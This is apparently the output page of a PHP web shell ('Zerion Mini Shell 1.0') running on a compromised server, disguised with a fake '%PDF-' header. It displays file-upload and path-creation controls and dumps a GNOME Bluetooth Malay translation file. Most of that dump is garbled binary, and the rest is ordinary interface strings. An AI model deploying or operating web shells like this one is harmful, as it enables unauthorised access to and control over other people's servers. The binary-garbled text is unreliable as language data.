%PDF- %PDF-
Mini Shell

Mini Shell

Direktori : /usr/share/locale/ms/LC_MESSAGES/
Upload File :
Create Path :
Current File : //usr/share/locale/ms/LC_MESSAGES/gnome-bluetooth2.mo

��o��`	a	t	�	�	�	*�	�	�	�	�		


,
9
Q
k
~
�
�
�
�
�
�
�
	[	{
�
����
������

,HKP%���Y�,
2
8
=
E
H

^
i

	�
�
�
�
�
L�
4+RT~h�<DSh)����$� 0?
Xcy���������JSW#k	�����������.D=F����	�����������)
1? Wx%������&T;
�
�	���������	#
-28
k\v,�
	Jbhp	u��!��	���'K/0{$�P�\"��� �	��$,!Qs�
�������

!�/
���*�	 '>\`g
v���?�M�!'*5HX_UA+Vo:K. i/R%Sa3T\7O	Mh2)<#CQ&1eF$N^lPIG>-@`;"=64WdL[(Jc
ZgEDbm]kY09
8B?j,nf%'d hour%'d hours%'d minute%'d minutes%'d second%'d seconds%d B/s%d kB/s%u transfer complete%u transfers completeADDRESSAcceptAddressAll categoriesAll typesAllowAn unknown error occurredAudio deviceBluetooth File TransferBluetooth Pairing RequestBluetooth TransferBluetooth file transfer from %sCameraCancelChoose files to sendClick to select device…ComputerConfirmConfirm Bluetooth ConnectionConfirm Bluetooth PINConfirm the Bluetooth PIN for “%s”. This can usually be found in the device’s manual.ConnectedConnecting…ConnectionDeclineDeviceDevice _category:Device _type:DevicesDisconnectedDismissDisplayFile reception completeFrom:HeadphonesHeadphones, headsets and other audio devicesHeadsetIf you remove the device, you will have to set it up again before next use.Input devices (mice, keyboards, etc.)JoypadKeyboardMake sure that the remote device is switched on and that it accepts Bluetooth connectionsModemMouseNAMENetworkNoNo adapters availableNot Set UpNot paired or trustedOpen Containing FolderOpen FilePairedPaired or trustedPairing “%s”PhonePlease confirm that the following PIN matches the one displayed on “%s”.Please confirm the PIN that was entered on “%s”.Please enter the following PIN on “%s”.Please enter the following PIN on “%s”. Then press “Return” on the keyboard.Please move the joystick of your iCade in the following directions. Then press any of the white buttons.PrinterRemote controlRemote device to useRemote device’s nameRemove “%s” from the list of devices?ScannerSearching for devices…SelectSelect device to send toSelect the device category to filterSelect the device type to filterSend _Files…Send files via BluetoothSending %sSending file %d of %dShow:TabletThere was an errorTo:ToyTrustedTypeUnknownVideo deviceVisible as “%s” and available for Bluetooth file transfers. Transferred files are placed in the <a href="%s">Downloads</a> folder.WearableYesYou received a fileYou received “%s” via Bluetooth[FILE…]_Cancel_Close_Keyboard Settings_Mouse & Touchpad Settings_OK_Remove_Remove Device_Retry_Send_Sound Settingsapproximately %'d hourapproximately %'d hours“%s” wants to connect with this device. Do you want to allow it?“%s” wants to pair with this device. Do you want to allow pairing?Project-Id-Version: bluez-gnome
Report-Msgid-Bugs-To: https://gitlab.gnome.org/GNOME/gnome-bluetooth/issues
PO-Revision-Date: 2019-12-11 00:40+0800
Last-Translator: abuyop <abuyop@gmail.com>
Language-Team: Pasukan Terjemahan GNOME Malaysia
Language: ms
MIME-Version: 1.0
Content-Type: text/plain; charset=UTF-8
Content-Transfer-Encoding: 8bit
Plural-Forms: nplurals=1; plural=0;
X-Launchpad-Export-Date: 2008-10-05 13:36+0000
X-Generator: Poedit 2.2.4
%'d jam%'d minit%'d saat%d B/s%d kB/s%u pemindahan selesaiALAMATTerimaAlamatSemua kategoriSemua JenisBenarkanSatu ralat tidak diketahui telah berlaku.Peranti AudioPemindah Fail BluetoothPermintaan Perpasangan BluetoothPemindahan BluetoothPemindahan fail Bluetooth daripada %sKameraBatalPilih fail untuk dihantarkanKlik untuk memilih peranti...KomputerSahkanSahkan Sambungan BluetoothSahkan PIN BluetoothSahkan PIN Bluetooth bagi "%s". Ia kebiasaannya boleh ditemui dalam panduan peranti.BersambungMenyambung…SambunganTolakPerantiKategori _peranti:Jenis _peranti:PerantiTerputusSingkirPaparanPenerimaan fail telah lengkapDaripada:Fon KepalaFon kepala, set kepala dan lain-lain peranti audioSet KepalaJika anda buang peranti tersebut, anda perlu menetapkanya semula untuk kegunaan akan datang.Peranti Input (tetikus, papan kekunci, dll.)Kayu riaPapan KekunciPastikan peranti jauh telah dihidupkan dan ia menerima sambungan BluetoothModemTetikusNAMARangkaianTidakTiada penyesuai tersediaTidak PasangTidak berpasangan atau dipercayaiBuka Folder TerkandungBuka FailBerpasanganBerpasangan atau dipercayaiPerpasangan "%s"TelefonSila pastikan PIN yang dimasukkan sepadan dengan yang dipaparkan pada "%s".Sila sahkan PIN yang telah dimasukkan pada "%s".Sila masukkan PIN berikut pada "%s".Sila masukkan PIN berikut pada "%s". Kemudian tekan "Return" pada papan kekunci.Sila gerakkan kayu ria iCade anda dalam arah berikut. Kemudian tekan mana-mana butang putih.PencetakKawalan jauhPeranti jauh yang digunakanNama peranti jauhBuang "%s" dari senarai peranti?PengimbasMenggelintar peranti...PilihPilih peranti untuk dihantarkanPilih kategori peranti untuk ditapisPilih jenis peranti untuk ditapisHantar _Fail...Hantar fail melalui BluetoothMenghantar %sMenghantar fail %d daripada %dTunjuk:TabletTerdapat satu ralatKepada:MainanDipercayaiJenisTidak DiketahuiPeranti VideoKelihatan sebagai “%s” dan bersedia memindahkan fail Bluetooth. Fail akan dimasukkan ke dalam folder <a href="%s">Muat Turun</a>.Boleh DipakaiYaAnda telah menerima satu failAnda telah menerima "%s" melalui Bluetooth[FAIL...]_Batal_TutupTetapan Papan _KekunciTetapan Tet_ikus & Pad Sentuh_OK_Buang_Buang Peranti_Cuba Lagi_HantarTetapan _Bunyianggaran %'d jam"%s" mahu bersambung dengan peranti ini. Anda mahu benarkannya?"%s" mahu berpasangan dengan peranti ini. Anda mahu benarkan perpasangan ini?

Zerion Mini Shell 1.0